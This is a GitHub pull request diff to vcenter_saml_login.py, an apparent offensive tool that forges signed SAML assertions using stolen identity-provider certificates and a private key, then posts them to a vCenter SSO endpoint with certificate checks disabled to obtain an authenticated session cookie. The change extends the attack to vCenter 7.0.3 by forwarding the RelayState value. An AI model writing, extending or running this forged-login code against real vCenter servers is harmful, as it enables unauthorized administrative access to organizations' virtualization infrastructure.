Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

vCenter 7.0.3 Support #13

Open
wants to merge 1 commit into
base: main
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
19 changes: 13 additions & 6 deletions vcenter_saml_login.py
Original file line number Diff line number Diff line change
Expand Up @@ -243,7 +243,7 @@ def saml_request(vcenter):
sr = parse_qs(o.query)["SAMLRequest"][0]
dec = base64.decodebytes(sr.encode("utf-8"))
req = zlib.decompress(dec, -8)
return etree.fromstring(req)
return etree.fromstring(req), parse_qs(o.query)["RelayState"][0]
except:
print(f'[-] Failed initiating SAML request with {vcenter}')
raise
Expand Down Expand Up @@ -285,16 +285,22 @@ def sign_assertion(root, cert1, cert2, key):
raise


def login(vcenter, saml_resp):
def login(vcenter, saml_resp, relaystate):
"""Log in to the vCenter web UI using the signed response and return a session cookie"""
try:
print('[*] Attempting to log into vCenter with the signed SAML request')
resp = etree.tostring(s, xml_declaration=True, encoding="UTF-8", pretty_print=False)
resp = etree.tostring(saml_resp, xml_declaration=True, encoding="UTF-8", pretty_print=False)

if relaystate == None:
data = {"SAMLResponse": base64.encodebytes(resp)}
else:
data = {"SAMLResponse": base64.encodebytes(resp), "RelayState":relaystate}

r = requests.post(
f"https://{vcenter}/ui/saml/websso/sso",
allow_redirects=False,
verify=False,
data={"SAMLResponse": base64.encodebytes(resp)},
data=data,
)
if r.status_code != 302:
raise Exception("expected 302 redirect")
Expand Down Expand Up @@ -344,7 +350,8 @@ def get_hostname(vcenter):

# Generate SAML request
hostname = get_hostname(args.target)
req = saml_request(args.target)

req, relaystate = saml_request(args.target)
t = fill_template(hostname, args.target, domain,req)
s = sign_assertion(t, trusted_cert_1, trusted_cert_2, idp_cert)
c = login(args.target, s)
c = login(args.target, s, relaystate)